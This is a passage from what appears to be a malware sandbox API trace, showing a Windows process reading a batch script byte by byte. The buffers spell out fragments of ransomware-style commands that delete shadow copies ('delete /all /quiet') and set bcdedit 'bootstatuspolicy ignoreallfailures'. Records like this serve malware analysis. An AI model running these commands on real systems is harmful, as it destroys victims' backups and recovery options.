cbMultiByte=1, lpWideCharStr=0x49f9e33a, cchWideChar=1 | out: lpWideCharStr="{y delete\n /all /quiet\n") returned 1 [0279.173] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.173] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.173] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.174] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33c, cchWideChar=1 | out: lpWideCharStr="d delete\n /all /quiet\n") returned 1 [0279.174] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.174] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.174] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.174] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33e, cchWideChar=1 | out: lpWideCharStr="edelete\n /all /quiet\n") returned 1 [0279.174] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.174] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.174] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.174] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e340, cchWideChar=1 | out: lpWideCharStr="felete\n /all /quiet\n") returned 1 [0279.174] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.174] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.174] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.174] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e342, cchWideChar=1 | out: lpWideCharStr="alete\n /all /quiet\n") returned 1 [0279.174] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.174] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.174] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.174] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e344, cchWideChar=1 | out: lpWideCharStr="uete\n /all /quiet\n") returned 1 [0279.174] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.174] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.174] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.175] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e346, cchWideChar=1 | out: lpWideCharStr="lte\n /all /quiet\n") returned 1 [0279.175] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.175] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.175] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.175] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e348, cchWideChar=1 | out: lpWideCharStr="te\n /all /quiet\n") returned 1 [0279.175] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.175] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.175] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.175] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34a, cchWideChar=1 | out: lpWideCharStr="}\n /all /quiet\n") returned 1 [0279.175] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.175] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.175] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.175] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34c, cchWideChar=1 | out: lpWideCharStr=" /all /quiet\n") returned 1 [0279.175] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.175] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.175] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.175] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34e, cchWideChar=1 | out: lpWideCharStr="b/all /quiet\n") returned 1 [0279.175] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.175] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.175] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.175] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e350, cchWideChar=1 | out: lpWideCharStr="oall /quiet\n") returned 1 [0279.176] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.176] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.176] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.176] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e352, cchWideChar=1 | out: lpWideCharStr="oll /quiet\n") returned 1 [0279.176] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.176] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.176] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.176] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e354, cchWideChar=1 | out: lpWideCharStr="tl /quiet\n") returned 1 [0279.176] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.176] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.176] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.176] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e356, cchWideChar=1 | out: lpWideCharStr="s /quiet\n") returned 1 [0279.176] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.176] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.176] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.176] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e358, cchWideChar=1 | out: lpWideCharStr="t/quiet\n") returned 1 [0279.176] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.176] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.176] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.176] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e35a, cchWideChar=1 | out: lpWideCharStr="aquiet\n") returned 1 [0279.176] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.176] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.177] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.177] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e35c, cchWideChar=1 | out: lpWideCharStr="tuiet\n") returned 1 [0279.177] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.177] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.177] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.177] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e35e, cchWideChar=1 | out: lpWideCharStr="uiet\n") returned 1 [0279.177] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.177] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.177] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.177] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e360, cchWideChar=1 | out: lpWideCharStr="set\n") returned 1 [0279.177] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.177] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.177] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.177] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e362, cchWideChar=1 | out: lpWideCharStr="pt\n") returned 1 [0279.177] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.177] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.177] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.177] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e364, cchWideChar=1 | out: lpWideCharStr="o\n") returned 1 [0279.177] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.177] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.177] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.177] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e366, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0279.177] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.177] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.177] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.178] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e368, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0279.178] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.178] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.178] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.178] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e36a, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0279.178] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.178] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.178] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.178] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e36c, cchWideChar=1 | out: lpWideCharStr="y") returned 1 [0279.178] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.178] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.178] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.178] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e36e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0279.178] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.178] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.178] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.178] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e370, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0279.178] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.178] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.178] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.178] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e372, cchWideChar=1 | out: lpWideCharStr="g") returned 1 [0279.178] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.178] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.178] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.178] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e374, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0279.178] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.179] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.179] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.179] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e376, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0279.179] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.179] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.179] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.179] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e378, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0279.179] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.179] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.179] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.179] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e37a, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0279.179] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.179] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.179] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.179] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e37c, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0279.179] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.179] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.179] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.179] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e37e, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0279.179] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.179] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.179] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.179] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e380, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0279.179] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.179] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.179] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.180] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e382, cchWideChar=1 | out: lpWideCharStr="f") returned 1 [0279.180] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.180] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.180] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.180] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e384, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0279.180] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.180] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0279.180] ReadFile (in: hFile=0xb0, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f518, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x14f518*=0x1, lpOverlapped=0x0) returned 1 [0279.180] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e386, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0279.180] _get_osfhandle (_FileHandle=0) returned 0xb0 [0279.180] SetFilePointer (in: hFile=0xb0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, 